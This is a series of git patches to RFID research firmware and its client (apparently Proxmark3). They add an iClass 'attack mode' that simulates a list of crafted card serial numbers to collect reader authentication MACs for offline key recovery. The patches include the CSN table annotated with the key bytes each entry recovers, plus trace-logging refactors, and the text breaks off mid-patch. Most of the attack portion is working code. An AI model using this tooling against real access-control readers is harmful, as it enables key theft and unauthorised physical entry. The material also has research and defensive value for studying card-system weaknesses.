From ff7bb4ef177ba1c680dd9af5a1e30d4f7f29c65f Mon Sep 17 00:00:00 2001 From: Martin Holst Swende Date: Thu, 17 Apr 2014 09:53:54 +0200 Subject: [PATCH 1/8] Experimenting with hacking iclass --- armsrc/appmain.c | 2 +- armsrc/apps.h | 4 +- armsrc/iclass.c | 106 +++++++++++++++++++++++++++++++---------------- 3 files changed, 74 insertions(+), 38 deletions(-) diff --git a/armsrc/appmain.c b/armsrc/appmain.c index b6c32200..30e5ac53 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -853,7 +853,7 @@ void UsbPacketReceived(uint8_t *packet, int len) SnoopIClass(); break; case CMD_SIMULATE_TAG_ICLASS: - SimulateIClass(c->arg[0], c->d.asBytes); + SimulateIClass(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes); break; case CMD_READER_ICLASS: ReaderIClass(c->arg[0]); diff --git a/armsrc/apps.h b/armsrc/apps.h index e21b5ce5..1e97f294 100644 --- a/armsrc/apps.h +++ b/armsrc/apps.h @@ -188,9 +188,9 @@ void SetDebugIso15693(uint32_t flag); /// iclass.h void RAMFUNC SnoopIClass(void); -void SimulateIClass(uint8_t arg0, uint8_t *datain); +void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain); void ReaderIClass(uint8_t arg0); - +void doIClassSimulation(uint8_t csn[], int breakAfterMacReceived); // hitag2.h void SnoopHitag(uint32_t type); void SimulateHitagTag(bool tag_mem_supplied, byte_t* data); diff --git a/armsrc/iclass.c b/armsrc/iclass.c index e876132e..bfa4a730 100644 --- a/armsrc/iclass.c +++ b/armsrc/iclass.c @@ -986,31 +986,70 @@ static void CodeIClassTagSOF() ToSendMax++; } -//----------------------------------------------------------------------------- -// Simulate iClass Card -// Only CSN (Card Serial Number) -// -//----------------------------------------------------------------------------- -void SimulateIClass(uint8_t arg0, uint8_t *datain) +/** + * @brief SimulateIClass simulates an iClass card. + * @param arg0 type of simulation + * - 0 uses the first 8 bytes in usb data as CSN + * - 2 "dismantling iclass"-attack. This mode iterates through all CSN's specified + * in the usb data. This mode collects MAC from the reader, in order to do an offline + * attack on the keys. For more info, see "dismantling iclass" and proxclone.com. + * - Other : Uses the default CSN (031fec8af7ff12e0) + * @param arg1 - number of CSN's contained in datain (applicable for mode 2 only) + * @param arg2 + * @param datain + */ +void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain) { - uint8_t simType = arg0; + uint32_t simType = arg0; + uint32_t numberOfCSNS = arg1; - // Enable and clear the trace - tracing = TRUE; - traceLen = 0; - memset(trace, 0x44, TRACE_SIZE); + // Enable and clear the trace + iso14a_set_tracing(TRUE); + iso14a_clear_trace(); - // CSN followed by two CRC bytes - uint8_t response2[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; - uint8_t response3[] = { 0x03, 0x1f, 0xec, 0x8a, 0xf7, 0xff, 0x12, 0xe0, 0x00, 0x00 }; - - // e-Purse - uint8_t response4[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + uint8_t csn_crc[] = { 0x03, 0x1f, 0xec, 0x8a, 0xf7, 0xff, 0x12, 0xe0, 0x00, 0x00 }; if(simType == 0) { // Use the CSN from commandline - memcpy(response3, datain, 8); + memcpy(csn_crc, datain, 8); + doIClassSimulation(csn_crc,0); + }else if(simType == 1) + { + doIClassSimulation(csn_crc,0); } + else if(simType == 2) + { + // In this mode, a number of csns are within datain. We'll simulate each one, one at a time + // in order to collect MAC's from the reader. This can later be used in an offlne-attack + // in order to obtain the keys, as in the "dismantling iclass"-paper. + for(int i = 0 ; i < numberOfCSNS && i*8+8 < USB_CMD_DATA_SIZE; i++) + { + // The usb data is 512 bytes, fitting 65 8-byte CSNs in there. + + memcpy(csn_crc, datain+(i*8), 8); + doIClassSimulation(csn_crc,1); + } + }else{ + // We may want a mode here where we hardcode the csns to use (from proxclone). + // That will speed things up a little, but not required just yet. + Dbprintf("The mode is not implemented, reserved for future use"); + } + +} +/** + * @brief Does the actual simulation + * @param csn - csn to use + * @param breakAfterMacReceived if true, returns after reader MAC has been received. + */ +void doIClassSimulation(uint8_t csn[], int breakAfterMacReceived) +{ + // CSN followed by two CRC bytes + uint8_t response2[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + uint8_t response3[] = { 0,0,0,0,0,0,0,0,0,0}; + memcpy(response3,csn,sizeof(response3)); + + // e-Purse + uint8_t response4[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; // Construct anticollision-CSN rotateCSN(response3,response2); @@ -1019,6 +1058,7 @@ void SimulateIClass(uint8_t arg0, uint8_t *datain) ComputeCrc14443(CRC_ICLASS, response2, 8, &response2[8], &response2[9]); ComputeCrc14443(CRC_ICLASS, response3, 8, &response3[8], &response3[9]); + int exitLoop = 0; // Reader 0a // Tag 0f // Reader 0c @@ -1052,7 +1092,7 @@ void SimulateIClass(uint8_t arg0, uint8_t *datain) int resp4Len; // + 1720.. - uint8_t *receivedCmd = (((uint8_t *)BigBuf) + RECV_CMD_OFFSET); + uint8_t *receivedCmd = (((uint8_t *)BigBuf) + RECV_CMD_OFFSET); memset(receivedCmd, 0x44, RECV_CMD_SIZE); int len; @@ -1083,7 +1123,7 @@ void SimulateIClass(uint8_t arg0, uint8_t *datain) int cmdsRecvd = 0; LED_A_ON(); - for(;;) { + while(!exitLoop) { LED_B_OFF(); if(!GetIClassCommandFromReader(receivedCmd, &len, 100)) { DbpString("button press"); @@ -1119,24 +1159,21 @@ void SimulateIClass(uint8_t arg0, uint8_t *datain) LED_B_ON(); } else if(receivedCmd[0] == 0x05) { // Reader random and reader MAC!!! - // Lets store this ;-) -/* - Dbprintf(" CSN: %02x %02x %02x %02x %02x %02x %02x %02x", - response3[0], response3[1], response3[2], - response3[3], response3[4], response3[5], - response3[6], response3[7]); -*/ - Dbprintf("READER AUTH (len=%02d): %02x %02x %02x %02x %02x %02x %02x %02x %02x", - len, - receivedCmd[0], receivedCmd[1], receivedCmd[2], - receivedCmd[3], receivedCmd[4], receivedCmd[5], - receivedCmd[6], receivedCmd[7], receivedCmd[8]); - // Do not respond // We do not know what to answer, so lets keep quit resp = resp1; respLen = 0; //order = 5; respdata = NULL; respsize = 0; + if (breakAfterMacReceived){ + // TODO, actually return this to the caller instead of just + // dbprintf:ing ... + Dbprintf("CSN: %02x %02x %02x %02x %02x %02x %02x %02x"); + Dbprintf("RDR: (len=%02d): %02x %02x %02x %02x %02x %02x %02x %02x %02x",len, + receivedCmd[0], receivedCmd[1], receivedCmd[2], + receivedCmd[3], receivedCmd[4], receivedCmd[5], + receivedCmd[6], receivedCmd[7], receivedCmd[8]); + exitLoop = true; + } } else if(receivedCmd[0] == 0x00 && len == 1) { // Reader ends the session resp = resp1; respLen = 0; //order = 0; @@ -1177,7 +1214,6 @@ void SimulateIClass(uint8_t arg0, uint8_t *datain) break; } } - memset(receivedCmd, 0x44, RECV_CMD_SIZE); } @@ -1422,7 +1458,7 @@ void ReaderIClass(uint8_t arg0) { uint8_t* resp = (((uint8_t *)BigBuf) + 3560); // was 3560 - tied to other size changes // Reset trace buffer - memset(trace, 0x44, RECV_CMD_OFFSET); + memset(trace, 0x44, RECV_CMD_OFFSET); traceLen = 0; // Setup SSC From 17cba2693d87d80b98a20ad8c2774155fa55d3fa Mon Sep 17 00:00:00 2001 From: Martin Holst Swende Date: Thu, 24 Apr 2014 14:13:33 +0200 Subject: [PATCH 2/8] Implemented client side changes for iclass hack, attempted to fix issues with trace. The trace functionality from iso14443 has been rewritten, unfortunately iclass used that also, which made iclass 'list' stop functioning, both for simulation and snooping --- armsrc/apps.h | 2 +- armsrc/iclass.c | 90 +++++++------------ armsrc/iso14443a.c | 5 +- client/cmdhficlass.c | 204 +++++++++++++++++++++++++++++++++++++++++-- 4 files changed, 230 insertions(+), 71 deletions(-) diff --git a/armsrc/apps.h b/armsrc/apps.h index 1e97f294..93760aae 100644 --- a/armsrc/apps.h +++ b/armsrc/apps.h @@ -146,7 +146,7 @@ void RAMFUNC SnoopIso14443a(uint8_t param); void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd, byte_t* data); void ReaderIso14443a(UsbCommand * c); // Also used in iclass.c -bool RAMFUNC LogTrace(const uint8_t * btBytes, uint8_t iLen, uint32_t iSamples, uint32_t dwParity, bool bReader); +bool RAMFUNC LogTrace(const uint8_t * btBytes, uint8_t iLen, uint32_t iSamples, uint32_t dwParity, bool readerToTag); uint32_t GetParity(const uint8_t * pbtCmd, int iLen); void iso14a_set_trigger(bool enable); void iso14a_clear_trace(); diff --git a/armsrc/iclass.c b/armsrc/iclass.c index bfa4a730..42fed888 100644 --- a/armsrc/iclass.c +++ b/armsrc/iclass.c @@ -666,12 +666,7 @@ static RAMFUNC int ManchesterDecoding(int v) //----------------------------------------------------------------------------- void RAMFUNC SnoopIClass(void) { -// DEFINED ABOVE -// #define RECV_CMD_OFFSET 3032 -// #define RECV_RES_OFFSET 3096 -// #define DMA_BUFFER_OFFSET 3160 -// #define DMA_BUFFER_SIZE 4096 -// #define TRACE_SIZE 3000 + // We won't start recording the frames that we acquire until we trigger; // a good trigger condition to get started is probably when we see a @@ -681,14 +676,10 @@ void RAMFUNC SnoopIClass(void) // The command (reader -> tag) that we're receiving. // The length of a received command will in most cases be no more than 18 bytes. // So 32 should be enough! - uint8_t *receivedCmd = (((uint8_t *)BigBuf) + RECV_CMD_OFFSET); + uint8_t *readerToTagCmd = (((uint8_t *)BigBuf) + RECV_CMD_OFFSET); // The response (tag -> reader) that we're receiving. - uint8_t *receivedResponse = (((uint8_t *)BigBuf) + RECV_RES_OFFSET); + uint8_t *tagToReaderResponse = (((uint8_t *)BigBuf) + RECV_RES_OFFSET); - // As we receive stuff, we copy it from receivedCmd or receivedResponse - // into trace, along with its length and other annotations. - //uint8_t *trace = (uint8_t *)BigBuf; - // reset traceLen to 0 iso14a_set_tracing(TRUE); iso14a_clear_trace(); @@ -709,7 +700,7 @@ void RAMFUNC SnoopIClass(void) memset(trace, 0x44, RECV_CMD_OFFSET); // Set up the demodulator for tag -> reader responses. - Demod.output = receivedResponse; + Demod.output = tagToReaderResponse; Demod.len = 0; Demod.state = DEMOD_UNSYNCD; @@ -721,7 +712,7 @@ void RAMFUNC SnoopIClass(void) // And the reader -> tag commands memset(&Uart, 0, sizeof(Uart)); - Uart.output = receivedCmd; + Uart.output = readerToTagCmd; Uart.byteCntMax = 32; // was 100 (greg)//////////////////////////////////////////////////////////////////////// Uart.state = STATE_UNSYNCD; @@ -764,20 +755,13 @@ void RAMFUNC SnoopIClass(void) //samples += 4; samples += 1; - //div2++; - //if(div2 > 3) { - //div2 = 0; - //decbyte ^= ((smpl & 0x01) << (3 - div)); - //decbyte ^= (((smpl & 0x01) | ((smpl & 0x02) >> 1)) << (3 - div)); // better already... - //decbyte ^= (((smpl & 0x01) | ((smpl & 0x02) >> 1) | ((smpl & 0x04) >> 2)) << (3 - div)); // even better... if(smpl & 0xF) { decbyte ^= (1 << (3 - div)); } - //decbyte ^= (MajorityNibble[(smpl & 0x0F)] << (3 - div)); // FOR READER SIDE COMMUMICATION... - //decbyte ^= ((smpl & 0x10) << (3 - div)); + decbyter <<= 2; decbyter ^= (smpl & 0x30); @@ -788,21 +772,11 @@ void RAMFUNC SnoopIClass(void) if(OutOfNDecoding((smpl & 0xF0) >> 4)) { rsamples = samples - Uart.samples; LED_C_ON(); - //if(triggered) { - trace[traceLen++] = ((rsamples >> 0) & 0xff); - trace[traceLen++] = ((rsamples >> 8) & 0xff); - trace[traceLen++] = ((rsamples >> 16) & 0xff); - trace[traceLen++] = ((rsamples >> 24) & 0xff); - trace[traceLen++] = ((Uart.parityBits >> 0) & 0xff); - trace[traceLen++] = ((Uart.parityBits >> 8) & 0xff); - trace[traceLen++] = ((Uart.parityBits >> 16) & 0xff); - trace[traceLen++] = ((Uart.parityBits >> 24) & 0xff); - trace[traceLen++] = Uart.byteCnt; - memcpy(trace+traceLen, receivedCmd, Uart.byteCnt); - traceLen += Uart.byteCnt; - if(traceLen > TRACE_SIZE) break; - //} - /* And ready to receive another command. */ + + if(!LogTrace(readerToTagCmd,Uart.byteCnt, rsamples, Uart.parityBits,TRUE)) break; + //if(!LogTrace(NULL, 0, Uart.endTime*16 - DELAY_READER_AIR2ARM_AS_SNIFFER, 0, TRUE)) break; + + /* And ready to receive another command. */ Uart.state = STATE_UNSYNCD; /* And also reset the demod code, which might have been */ /* false-triggered by the commands from the reader. */ @@ -819,26 +793,13 @@ void RAMFUNC SnoopIClass(void) rsamples = samples - Demod.samples; LED_B_ON(); - // timestamp, as a count of samples - trace[traceLen++] = ((rsamples >> 0) & 0xff); - trace[traceLen++] = ((rsamples >> 8) & 0xff); - trace[traceLen++] = ((rsamples >> 16) & 0xff); - trace[traceLen++] = 0x80 | ((rsamples >> 24) & 0xff); - trace[traceLen++] = ((Demod.parityBits >> 0) & 0xff); - trace[traceLen++] = ((Demod.parityBits >> 8) & 0xff); - trace[traceLen++] = ((Demod.parityBits >> 16) & 0xff); - trace[traceLen++] = ((Demod.parityBits >> 24) & 0xff); - // length - trace[traceLen++] = Demod.len; - memcpy(trace+traceLen, receivedResponse, Demod.len); - traceLen += Demod.len; - if(traceLen > TRACE_SIZE) break; + if(!LogTrace(tagToReaderResponse,Demod.len, rsamples, Demod.parityBits,FALSE)) break; + //if (!LogTrace(NULL, 0, Demod.endTime*16 - DELAY_TAG_AIR2ARM_AS_SNIFFER, 0, FALSE)) break; - //triggered = TRUE; // And ready to receive another response. memset(&Demod, 0, sizeof(Demod)); - Demod.output = receivedResponse; + Demod.output = tagToReaderResponse; Demod.state = DEMOD_UNSYNCD; LED_C_OFF(); } @@ -1019,6 +980,7 @@ void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain } else if(simType == 2) { + Dbprintf("Going into attack mode"); // In this mode, a number of csns are within datain. We'll simulate each one, one at a time // in order to collect MAC's from the reader. This can later be used in an offlne-attack // in order to obtain the keys, as in the "dismantling iclass"-paper. @@ -1131,13 +1093,13 @@ void doIClassSimulation(uint8_t csn[], int breakAfterMacReceived) } // Okay, look at the command now. - if(receivedCmd[0] == 0x0a) { + if(receivedCmd[0] == 0x0a || receivedCmd[0] == 0x26) { // Reader in anticollission phase resp = resp1; respLen = resp1Len; //order = 1; respdata = &sof; respsize = sizeof(sof); //resp = resp2; respLen = resp2Len; order = 2; - //DbpString("Hello request from reader:"); + Dbprintf("Hello request from reader, %02x, tracing=%d", receivedCmd[0], tracing); } else if(receivedCmd[0] == 0x0c) { // Reader asks for anticollission CSN resp = resp2; respLen = resp2Len; //order = 2; @@ -1180,6 +1142,7 @@ void doIClassSimulation(uint8_t csn[], int breakAfterMacReceived) respdata = NULL; respsize = 0; } else { + //#db# Unknown command received from reader (len=5): 26 1 0 f6 a 44 44 44 44 // Never seen this command before Dbprintf("Unknown command received from reader (len=%d): %x %x %x %x %x %x %x %x %x", len, @@ -1205,14 +1168,21 @@ void doIClassSimulation(uint8_t csn[], int breakAfterMacReceived) } if (tracing) { - LogTrace(receivedCmd,len, rsamples, Uart.parityBits, TRUE); - if (respdata != NULL) { - LogTrace(respdata,respsize, rsamples, SwapBits(GetParity(respdata,respsize),respsize), FALSE); - } - if(traceLen > TRACE_SIZE) { + //LogTrace(receivedCmd,len, rsamples, Uart.parityBits, TRUE); + if(!LogTrace(receivedCmd,len, rsamples, Uart.parityBits,TRUE)) + { DbpString("Trace full"); break; } + + if (respdata != NULL) { + //LogTrace(respdata,respsize, rsamples, SwapBits(GetParity(respdata,respsize),respsize), FALSE); + if(!LogTrace(respdata,respsize, rsamples,SwapBits(GetParity(respdata,respsize),respsize),FALSE)) + { + DbpString("Trace full"); + break; + } + } } memset(receivedCmd, 0x44, RECV_CMD_SIZE); } diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c index 9afe0788..8e4082ea 100644 --- a/armsrc/iso14443a.c +++ b/armsrc/iso14443a.c @@ -190,7 +190,7 @@ void AppendCrc14443a(uint8_t* data, int len) } // The function LogTrace() is also used by the iClass implementation in iClass.c -bool RAMFUNC LogTrace(const uint8_t * btBytes, uint8_t iLen, uint32_t timestamp, uint32_t dwParity, bool bReader) +bool RAMFUNC LogTrace(const uint8_t * btBytes, uint8_t iLen, uint32_t timestamp, uint32_t dwParity, bool readerToTag) { // Return when trace is full if (traceLen + sizeof(timestamp) + sizeof(dwParity) + iLen >= TRACE_SIZE) { @@ -203,7 +203,8 @@ bool RAMFUNC LogTrace(const uint8_t * btBytes, uint8_t iLen, uint32_t timestamp, trace[traceLen++] = ((timestamp >> 8) & 0xff); trace[traceLen++] = ((timestamp >> 16) & 0xff); trace[traceLen++] = ((timestamp >> 24) & 0xff); - if (!bReader) { + + if (!readerToTag) { trace[traceLen - 1] |= 0x80; } trace[traceLen++] = ((dwParity >> 0) & 0xff); diff --git a/client/cmdhficlass.c b/client/cmdhficlass.c index f807e972..9f6842b8 100644 --- a/client/cmdhficlass.c +++ b/client/cmdhficlass.c @@ -21,10 +21,139 @@ #include "cmdhficlass.h" #include "common.h" #include "util.h" +#include "cmdmain.h" static int CmdHelp(const char *Cmd); +int xorbits_8(uint8_t val) +{ + uint8_t res = val ^ (val >> 1); //1st pass + res = res ^ (res >> 1); // 2nd pass + res = res ^ (res >> 2); // 3rd pass + res = res ^ (res >> 4); // 4th pass + return res & 1; +} + int CmdHFiClassList(const char *Cmd) +{ + + bool ShowWaitCycles = false; + char param = param_getchar(Cmd, 0); + + if (param != 0) { + PrintAndLog("List data in trace buffer."); + PrintAndLog("Usage: hf iclass list"); + PrintAndLog("h - help"); + PrintAndLog("sample: hf iclass list"); + return 0; + } + + uint8_t got[1920]; + GetFromBigBuf(got,sizeof(got),0); + WaitForResponse(CMD_ACK,NULL); + + PrintAndLog("Recorded Activity"); + PrintAndLog(""); + PrintAndLog("Start = Start of Start Bit, End = End of last modulation. Src = Source of Transfer"); + PrintAndLog("All times are in carrier periods (1/13.56Mhz)"); + PrintAndLog(""); + PrintAndLog(" Start | End | Src | Data"); + PrintAndLog("-----------|-----------|-----|--------"); + + int i; + uint32_t first_timestamp = 0; + uint32_t timestamp; + bool tagToReader; + uint32_t parityBits; + uint8_t len; + uint8_t *frame; + uint32_t EndOfTransmissionTimestamp = 0; + + uint8_t empty[4] = {0x44,0x44,0x44,0x44}; + + for( i=0; i < 1900;) + { + //First 32 bits contain + // isResponse (1 bit) + // timestamp (remaining) + //Then paritybits + //Then length + timestamp = *((uint32_t *)(got+i)); + parityBits = *((uint32_t *)(got+i+4)); + len = got[i+8]; + frame = (got+i+9); + uint32_t next_timestamp = (*((uint32_t *)(got+i+9))) & 0x7fffffff; + + tagToReader = timestamp & 0x80000000; + timestamp &= 0x7fffffff; + + if(i==0) { + first_timestamp = timestamp; + } + + // Break and stick with current result if buffer + // was not completely full + if(memcmp(frame,empty,sizeof(empty))) break; + + char line[1000] = ""; + + if(len)//We have some data to display + { + int j,oddparity; + + for(j = 0; j < len ; j++) + { + oddparity = 0x01 ^ xorbits_8(frame[j] & 0xFF); + + if (tagToReader && (oddparity != ((parityBits >> (len - j - 1)) & 0x01))) { + sprintf(line+(j*4), "%02x! ", frame[j]); + } else { + sprintf(line+(j*4), "%02x ", frame[j]); + } + } + }else + { + if (ShowWaitCycles) { + sprintf(line, "fdt (Frame Delay Time): %d", (next_timestamp - timestamp)); + } + } + + char *crc = ""; + + if(len > 2) + { + uint8_t b1, b2; + if(!tagToReader && len == 4) { + // Rough guess that this is a command from the reader + // For iClass the command byte is not part of the CRC + ComputeCrc14443(CRC_ICLASS, &frame[1], len-3, &b1, &b2); + } + else { + // For other data.. CRC might not be applicable (UPDATE commands etc.) + ComputeCrc14443(CRC_ICLASS, frame, len-2, &b1, &b2); + } + + if (b1 != frame[len-2] || b2 != frame[len-1]) { + crc = (tagToReader & (len < 8)) ? "" : " !crc"; + } + } + + i += (len + 9); + EndOfTransmissionTimestamp = (*((uint32_t *)(got+i))) & 0x7fffffff; + + // Not implemented for iclass on the ARM-side + //if (!ShowWaitCycles) i += 9; + + PrintAndLog(" %9d | %9d | %s | %s %s", + (timestamp - first_timestamp), + (EndOfTransmissionTimestamp - first_timestamp), + (len?(tagToReader ? "Tag" : "Rdr"):" "), + line, crc); + } + return 0; +} + +int CmdHFiClassListOld(const char *Cmd) { uint8_t got[1920]; GetFromBigBuf(got,sizeof(got),0); @@ -50,7 +179,9 @@ int CmdHFiClassList(const char *Cmd) isResponse = 0; } + int metric = 0; + int parityBits = *((uint32_t *)(got+i+4)); // 4 bytes of additional information... // maximum of 32 additional parity bit information @@ -177,21 +308,78 @@ int CmdHFiClassSim(const char *Cmd) uint8_t simType = 0; uint8_t CSN[8] = {0, 0, 0, 0, 0, 0, 0, 0}; - if (strlen(Cmd)<2) { - PrintAndLog("Usage: hf iclass sim "); + if (strlen(Cmd)<1) { + PrintAndLog("Usage: hf iclass sim [0 ] | x"); + PrintAndLog(" options"); + PrintAndLog(" 0 simulate the given CSN"); + PrintAndLog(" 1 simulate default CSN"); + PrintAndLog(" 2 iterate CSNs, gather MACs"); PrintAndLog(" sample: hf iclass sim 0 031FEC8AF7FF12E0"); + PrintAndLog(" sample: hf iclass sim 2"); return 0; } simType = param_get8(Cmd, 0); - if (param_gethex(Cmd, 1, CSN, 16)) { - PrintAndLog("A CSN should consist of 16 HEX symbols"); - return 1; - } - PrintAndLog("--simtype:%02x csn:%s", simType, sprint_hex(CSN, 8)); - UsbCommand c = {CMD_SIMULATE_TAG_ICLASS, {simType}}; + if(simType == 0) + { + if (param_gethex(Cmd, 1, CSN, 16)) { + PrintAndLog("A CSN should consist of 16 HEX symbols"); + return 1; + } + PrintAndLog("--simtype:%02x csn:%s", simType, sprint_hex(CSN, 8)); + + } + if(simType > 2) + { + PrintAndLog("Undefined simptype %d", simType); + return 1; + } + uint8_t numberOfCSNs=0; + + UsbCommand c = {CMD_SIMULATE_TAG_ICLASS, {simType,numberOfCSNs}}; memcpy(c.d.asBytes, CSN, 8); + + if(simType == 2) + { + c.arg[1] = 10;//10 CSNs + uint8_t csns[] ={ + /* Order Simulated CSN HASH1 Recovered key bytes */ + /* 1 */ 0x00,0x0B,0x0F,0xFF,0xF7,0xFF,0x12,0xE0,// 0101000045014545 00,01 45 + /* 2 */ 0x03,0x0B,0x0E,0xFE,0xF7,0xFF,0x12,0xE0,// 0202000045014545 02 + /* 3 */ 0x04,0x0D,0x0D,0xFD,0xF7,0xFF,0x12,0xE0,// 0303000045014545 03 + /* 4 */ 0x04,0x0F,0x0F,0xF7,0xF7,0xFF,0x12,0xE0,// 0901000045014545 09 + /* 5 */ 0x01,0x13,0x10,0xF4,0xF7,0xFF,0x12,0xE0,// 0C00000045014545 0C + /* 6 */ 0x02,0x14,0x10,0xF2,0xF7,0xFF,0x12,0xE0,// 0E00000045014545 0E + /* 7 */ 0x05,0x17,0x10,0xEC,0xF7,0xFF,0x12,0xE0,// 1400000045014545 14 + /* 8 */ 0x00,0x6B,0x6F,0xDF,0xF7,0xFF,0x12,0xE0,// 2121000045014545 21 + /* 9 */ 0x03,0x6B,0x6E,0xDE,0xF7,0xFF,0x12,0xE0,// 2222000045014545 22 + /* 10 */ 0x04,0x6D,0x6D,0xDD,0xF7,0xFF,0x12,0xE0,// 2323000045014545 23 + /* 11 */ 0x00,0x4F,0x4B,0x43,0xF7,0xFF,0x12,0xE0,// 3D45000045014545 3D + /* 12 */ 0x00,0x4B,0x4F,0x3F,0xF7,0xFF,0x12,0xE0,// 4141000045014545 41 + /* 13 */ 0x03,0x4B,0x4E,0x3E,0xF7,0xFF,0x12,0xE0,// 4242000045014545 42 + /* 14 */ 0x04,0x4D,0x4D,0x3D,0xF7,0xFF,0x12,0xE0,// 4343000045014545 43 + /* 15 */ 0x04,0x37,0x37,0x7F,0xF7,0xFF,0x12,0xE0,// 0159000045014545 59 + /* 16 */ 0x00,0x2B,0x2F,0x9F,0xF7,0xFF,0x12,0xE0,// 6161000045014545 61 + /* 17 */ 0x03,0x2B,0x2E,0x9E,0xF7,0xFF,0x12,0xE0,// 6262000045014545 62 + /* 18 */ 0x04,0x2D,0x2D,0x9D,0xF7,0xFF,0x12,0xE0,// 6363000045014545 63 + /* 19 */ 0x00,0x27,0x23,0xBB,0xF7,0xFF,0x12,0xE0,// 456D000045014545 6D + /* 20 */ 0x02,0x52,0xAA,0x80,0xF7,0xFF,0x12,0xE0,// 0066000045014545 66 + /* 21 */ 0x00,0x5C,0xA6,0x80,0xF7,0xFF,0x12,0xE0,// 006A000045014545 6A + /* 22 */ 0x01,0x5F,0xA4,0x80,0xF7,0xFF,0x12,0xE0,// 006C000045014545 6C + /* 23 */ 0x06,0x5E,0xA2,0x80,0xF7,0xFF,0x12,0xE0,// 006E000045014545 6E + /* 24 */ 0x02,0x0E,0x0E,0xFC,0xF7,0xFF,0x12,0xE0,// 0402000045014545 04 + /* 25 */ 0x05,0x0D,0x0E,0xFA,0xF7,0xFF,0x12,0xE0,// 0602000045014545 06 + /* 26 */ 0x06,0x0F,0x0D,0xF9,0xF7,0xFF,0x12,0xE0,// 0703000045014545 07 + /* 27 */ 0x00,0x01,0x05,0x1D,0xF7,0xFF,0x12,0xE0,// 630B000045014545 0B + /* 28 */ 0x02,0x07,0x01,0x1D,0xF7,0xFF,0x12,0xE0,// 630F000045014545 0F + /* 29 */ 0x04,0x7F,0x7F,0xA7,0xF7,0xFF,0x12,0xE0,// 5911000045014545 11 + /* 30 */ 0x04,0x60,0x6E,0xE8,0xF7,0xFF,0x12,0xE0,// 1822000045014545 18 + }; + memcpy(c.d.asBytes, csns, sizeof(c.d.asBytes)); + + } + SendCommand(&c); /*UsbCommand * resp = WaitForResponseTimeout(CMD_ACK, 1500); From f83cc12613d18f6a5a3a5e6c01f7b83cae2ee92f Mon Sep 17 00:00:00 2001 From: Martin Holst Swende Date: Thu, 24 Apr 2014 15:48:00 +0200 Subject: [PATCH 3/8] More work on iclass --- armsrc/apps.h | 2 +- armsrc/iclass.c | 39 +++++++++++++++++++++++++++++++-------- client/cmdhficlass.c | 6 ++---- 3 files changed, 34 insertions(+), 13 deletions(-) diff --git a/armsrc/apps.h b/armsrc/apps.h index 93760aae..087abd0a 100644 --- a/armsrc/apps.h +++ b/armsrc/apps.h @@ -190,7 +190,7 @@ void SetDebugIso15693(uint32_t flag); void RAMFUNC SnoopIClass(void); void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain); void ReaderIClass(uint8_t arg0); -void doIClassSimulation(uint8_t csn[], int breakAfterMacReceived); +int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived); // hitag2.h void SnoopHitag(uint32_t type); void SimulateHitagTag(bool tag_mem_supplied, byte_t* data); diff --git a/armsrc/iclass.c b/armsrc/iclass.c index 42fed888..5a4c15d0 100644 --- a/armsrc/iclass.c +++ b/armsrc/iclass.c @@ -989,7 +989,10 @@ void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain // The usb data is 512 bytes, fitting 65 8-byte CSNs in there. memcpy(csn_crc, datain+(i*8), 8); - doIClassSimulation(csn_crc,1); + if(doIClassSimulation(csn_crc,1)) + { + return; // Button pressed + } } }else{ // We may want a mode here where we hardcode the csns to use (from proxclone). @@ -1003,13 +1006,13 @@ void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain * @param csn - csn to use * @param breakAfterMacReceived if true, returns after reader MAC has been received. */ -void doIClassSimulation(uint8_t csn[], int breakAfterMacReceived) +int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived) { // CSN followed by two CRC bytes uint8_t response2[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; uint8_t response3[] = { 0,0,0,0,0,0,0,0,0,0}; memcpy(response3,csn,sizeof(response3)); - + Dbprintf("Simulating CSN %02x%02x%02x%02x%02x%02x%02x%02x",csn[0],csn[1],csn[2],csn[3],csn[4],csn[5],csn[6],csn[7]); // e-Purse uint8_t response4[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; @@ -1085,26 +1088,28 @@ void doIClassSimulation(uint8_t csn[], int breakAfterMacReceived) int cmdsRecvd = 0; LED_A_ON(); + bool displayDebug = true; + bool buttonPressed = false; while(!exitLoop) { LED_B_OFF(); if(!GetIClassCommandFromReader(receivedCmd, &len, 100)) { - DbpString("button press"); + buttonPressed = true; break; } // Okay, look at the command now. - if(receivedCmd[0] == 0x0a || receivedCmd[0] == 0x26) { + if(receivedCmd[0] == 0x0a ) { // Reader in anticollission phase resp = resp1; respLen = resp1Len; //order = 1; respdata = &sof; respsize = sizeof(sof); - //resp = resp2; respLen = resp2Len; order = 2; - Dbprintf("Hello request from reader, %02x, tracing=%d", receivedCmd[0], tracing); + displayDebug = false; } else if(receivedCmd[0] == 0x0c) { // Reader asks for anticollission CSN resp = resp2; respLen = resp2Len; //order = 2; respdata = response2; respsize = sizeof(response2); + displayDebug = false; //DbpString("Reader requests anticollission CSN:"); } else if(receivedCmd[0] == 0x81) { // Reader selects anticollission CSN. @@ -1165,8 +1170,19 @@ void doIClassSimulation(uint8_t csn[], int breakAfterMacReceived) if(respLen > 0) { SendIClassAnswer(resp, respLen, 21); + + if(displayDebug) Dbprintf("R2T:(len=%d): %x %x %x %x %x %x %x %x %x\nT2R: (total/data =%d/%d): %x %x %x %x %x %x %x %x %x", + len, + receivedCmd[0], receivedCmd[1], 